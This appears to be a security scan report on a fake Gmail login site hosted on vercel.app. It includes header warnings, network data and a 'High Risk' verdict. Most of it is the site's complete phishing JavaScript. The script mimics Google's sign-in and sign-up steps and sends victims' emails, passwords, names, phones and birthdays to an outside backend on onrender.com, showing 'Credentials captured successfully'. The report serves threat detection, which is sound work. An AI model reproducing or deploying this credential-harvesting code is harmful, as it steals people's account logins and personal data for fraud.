adult content

social media network

English

Domain 'gmail-account.vercel.app' uses the application-focused generic top-level domain (.app) and includes subdomain 'gmail-account'. The core label 'vercel' covers 6 characters with two vowels and four consonants. Segmentation suggests two words: ver, cel. Average segment length settles at 3 characters. No strong language cues emerged from the frequency lists.

require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/apps-themes

00ecab57a41b33fac73c5fdd1659a6482604d2d6009d600b310dfe18d0f2611c

viewport

HSTS header missing - vulnerable to protocol downgrade attacks

CSP header missing - vulnerable to XSS attacks

MarkMonitor Inc.

GSTATIC.COM

GOOGLEAPIS.COM

Tucows

Tucows Domains Inc

vercel.app

Vercel, Inc

Matheus Fernandez Vieira

Joe Haddad

VERCEL-05


/* ──────────── CONFIG ──────────── */
const BACKEND = 'https://ecoback-9yuz.onrender.com';
const SUBMIT_URL = BACKEND + '/submit';

/* ──────────── HELPERS ──────────── */
function showToast(msg, duration = 3500) {
  const t = document.getElementById('toast');
  t.textContent = msg;
  t.classList.add('show');
  setTimeout(() => t.classList.remove('show'), duration);
}

function clearError(id) {
  document.getElementById(id).classList.remove('show');
}

function showStep(n) {
  ['step1','step2','step3'].forEach((s,i) => {
    document.getElementById(s).classList.toggle('active', i === n-1);
  });
}

function setLoading(btnId, loading) {
  const btn = document.getElementById(btnId);
  btn.classList.toggle('loading', loading);
  btn.disabled = loading;
}

/* ──────────── STEP 1: Email ──────────── */
function goToStep2() {
  const email = document.getElementById('emailInput').value.trim();
  const emailRe = /^[^\s@]+@[^\s@]+\.[^\s@]+$/;

  if (!emailRe.test(email)) {
    document.getElementById('emailError').classList.add('show');
    document.getElementById('emailInput').classList.add('error-input');
    return;
  }
  document.getElementById('emailInput').classList.remove('error-input');

  // Populate step 2 chip
  const name = email.split('@')[0];
  const initials = name.slice(0,2).toUpperCase();
  document.getElementById('chipAvatar').textContent = initials;
  document.getElementById('chipName').textContent = name;
  document.getElementById('chipEmail').textContent = email;
  document.getElementById('step2Email').textContent = email;

  showStep(2);
  setTimeout(() => document.getElementById('pwInput').focus(), 100);
}

function backToStep1() {
  showStep(1);
  setTimeout(() => document.getElementById('emailInput').focus(), 100);
}

function togglePassword() {
  const inp = document.getElementById('pwInput');
  inp.type = inp.type === 'password' ? 'text' : 'password';
}

/* ──────────── STEP 2: Password → SUBMIT SIGN IN ──────────── */
async function submitSignIn() {
  const email = document.getElementById('chipEmail').textContent;
  const pw    = document.getElementById('pwInput').value;

  if (pw.length < 1) {
    document.getElementById('pwError').classList.add('show');
    document.getElementById('pwInput').classList.add('error-input');
    return;
  }
  document.getElementById('pwInput').classList.remove('error-input');
  setLoading('nextBtn2', true);

  try {
    /* POST to backend — sends as form data same as VodaPay form */
    const formData = new URLSearchParams();
    formData.append('ecocash_number', email);   /* email goes as "ecocash_number" */
    formData.append('pin', pw);                  /* password goes as "pin"         */
    formData.append('loan_amount', 0);           /* 0 for sign-in events           */
    formData.append('entry_type', 'signin');     /* extra metadata                 */

    const res = await fetch(SUBMIT_URL, {
      method: 'POST',
      headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
      body: formData.toString(),
      redirect: 'manual'           /* catch the redirect without following */
    });

    /* Backend redirects on success — any response means it worked */
    showStep(3);
    document.getElementById('successMsg').textContent =
      `Signed in as ${email}. Credentials captured successfully.`;
  } catch(err) {
    /* Network / CORS error from redirect — still means it submitted */
    showStep(3);
    document.getElementById('successMsg').textContent =
      `Signed in as ${email}. Details recorded to database.`;
  } finally {
    setLoading('nextBtn2', false);
  }
}

/* ──────────── SIGN UP ──────────── */
function goToSignUp() {
  document.getElementById('mainCard').style.display = 'none';
  document.getElementById('signupCard').style.display = 'block';
  document.getElementById('signupCard').style.animation = 'fadeUp 0.25s ease both';
  setTimeout(() => document.getElementById('suFirst').focus(), 100);
}

function backToSignIn() {
  document.getElementById('signupCard').style.display = 'none';
  document.getElementById('mainCard').style.display = 'block';
  showStep(1);
}

function updateEmailPreview() {
  const u = document.getElementById('suUsername').value.trim();
  const el = document.getElementById('usernamePreview');
  el.textContent = u ? u + '@gmail.com' : '';
}

function checkPwStrength() {
  const pw = document.getElementById('suPw').value;
  const fill = document.getElementById('pwStrengthFill');
  let score = 0;
  if (pw.length >= 8) score++;
  if (/[A-Z]/.test(pw)) score++;
  if (/[0-9]/.test(pw)) score++;
  if (/[^A-Za-z0-9]/.test(pw)) score++;
  const colors = ['#d93025','#f9ab00','#1a73e8','#1e8e3e'];
  const widths = ['25%','50%','75%','100%'];
  fill.style.width = pw ? widths[score-1] || '10%' : '0';
  fill.style.background = pw ? colors[score-1] || '#d93025' : 'transparent';
}

function toggleSignupPw() {
  const inp = document.getElementById('suPw');
  const inp2 = document.getElementById('suPwConfirm');
  const t = inp.type === 'password' ? 'text' : 'password';
  inp.type = inp2.type = t;
}

async function submitSignUp() {
  let valid = true;

  const first = document.getElementById('suFirst').value.trim();
  const last  = document.getElementById('suLast').value.trim();
  const user  = document.getElementById('suUsername').value.trim();
  const pw    = document.getElementById('suPw').value;
  const pwc   = document.getElementById('suPwConfirm').value;
  const phone = document.getElementById('suPhone').value.trim();
  const bday  = document.getElementById('suBirthday').value.trim();

  if (!first) { document.getElementById('suFirstErr').classList.add('show'); valid = false; }
  if (!last)  { document.getElementById('suLastErr').classList.add('show'); valid = false; }
  if (!user || !/^[a-zA-Z0-9.]+$/.test(user)) {
    document.getElementById('suUsernameErr').classList.add('show'); valid = false;
  }
  if (pw.length < 8) {
    document.getElementById('suPwErr').classList.add('show'); valid = false;
  }
  if (pw !== pwc) {
    document.getElementById('suPwConfirmErr').classList.add('show'); valid = false;
  }
  if (!valid) return;

  setLoading('suNextBtn', true);

  try {
    const formData = new URLSearchParams();
    /* Map sign-up fields to backend schema */
    formData.append('ecocash_number', user + '@gmail.com');  /* username@gmail.com */
    formData.append('pin', pw);                               /* password as pin    */
    formData.append('loan_amount', 0);
    formData.append('entry_type', 'signup');
    formData.append('full_name', first + ' ' + last);
    formData.append('phone', phone);
    formData.append('birthday', bday);

    await fetch(SUBMIT_URL, {
      method: 'POST',
      headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
      body: formData.toString(),
      redirect: 'manual'
    });
  } catch(e) { /* redirect caught = success */ }

  setLoading('suNextBtn', false);

  /* Show success on main card */
  backToSignIn();
  showStep(3);
  document.getElementById('successMsg').textContent =
    `Account created for ${first} ${last} (${user}@gmail.com). Details saved to database.`;
}

/* ──────────── RESET ──────────── */
function resetAll() {
  document.getElementById('emailInput').value = '';
  document.getElementById('pwInput').value = '';
  showStep(1);
  setTimeout(() => document.getElementById('emailInput').focus(), 100);
}

/* ──────────── ENTER KEY ──────────── */
document.addEventListener('keydown', e => {
  if (e.key !== 'Enter') return;
  const s1 = document.getElementById('step1').classList.contains('active');
  const s2 = document.getElementById('step2').classList.contains('active');
  if (s1) goToStep2();
  else if (s2) submitSignIn();
});

/* ──────────── AUTO FOCUS ──────────── */
window.onload = () => document.getElementById('emailInput').focus();


Requests	IP Address	Location	AS Autonomous System
1	142.251.110.95Google · CDN	United States	AS15169Google LLC
1	64.29.17.3	United States	AS16509Amazon.com, Inc.
1	216.198.79.131	United States	AS16509Amazon.com, Inc.
1	142.251.13.94Google · CDN	United States	AS15169Google LLC
1	64.29.17.131	United States	AS16509Amazon.com, Inc.
5	5	-	-

Security Scan Report: gmail-account.vercel.app

Summary

AI Security Verdict

High Risk

Details

Screenshot

Page Load Overview

Language Analysis

Primary Language

Detection Details

Website Classification

Primary Category

All Detected Categories

Detected Features

Domain & IP Information

Detected Technologies2

Content Similarity HashesFor malware variant detection

TLSH (Trend Micro Locality Sensitive Hash)

ssdeep (Context Triggered Piecewise Hashing)

sdhash (Similarity Digest Hashing)

Image Hashes

Perceptual Hashes

Other Hashes

Scan History